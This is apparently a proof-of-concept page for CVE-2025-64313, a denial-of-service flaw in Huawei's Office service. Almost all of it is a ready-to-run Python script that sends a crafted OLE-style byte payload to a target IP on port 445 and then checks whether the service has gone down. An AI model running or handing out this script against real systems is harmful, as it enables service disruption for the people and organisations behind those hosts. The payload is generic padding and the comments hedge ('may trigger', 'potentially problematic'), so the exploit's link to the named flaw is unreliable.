CVE-2025-64313 华为Office服务拒绝服务漏洞

# CVE-2025-64313 PoC - Office Service DoS # This PoC demonstrates a potential DoS condition in Huawei Office Service # Note: Use only for authorized security testing import socket import sys import time def create_malicious_payload(): """Generate payload that may trigger DoS in Office Service""" # Malformed Office document structure payload = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE header payload += b'\x00' * 100 # Padding payload += b'\xff\xff\xff\xff' # Potentially problematic marker payload += b'\x00' * 500 return payload def exploit_office_service(target_ip, port=445): """Attempt to trigger DoS in Office Service""" try: print(f"[*] Connecting to {target_ip}:{port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, port)) print("[*] Sending malicious payload...") payload = create_malicious_payload() sock.send(payload) time.sleep(2) print("[*] Payload sent. Checking service status...") # Check if service is still responsive try: sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.settimeout(5) sock2.connect((target_ip, port)) print("[-] Service still responsive") sock2.close() except: print("[+] Service appears to be non-responsive (DoS successful)") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 445 print(f"[*] CVE-2025-64313 PoC - Huawei Office Service DoS") exploit_office_service(target, port)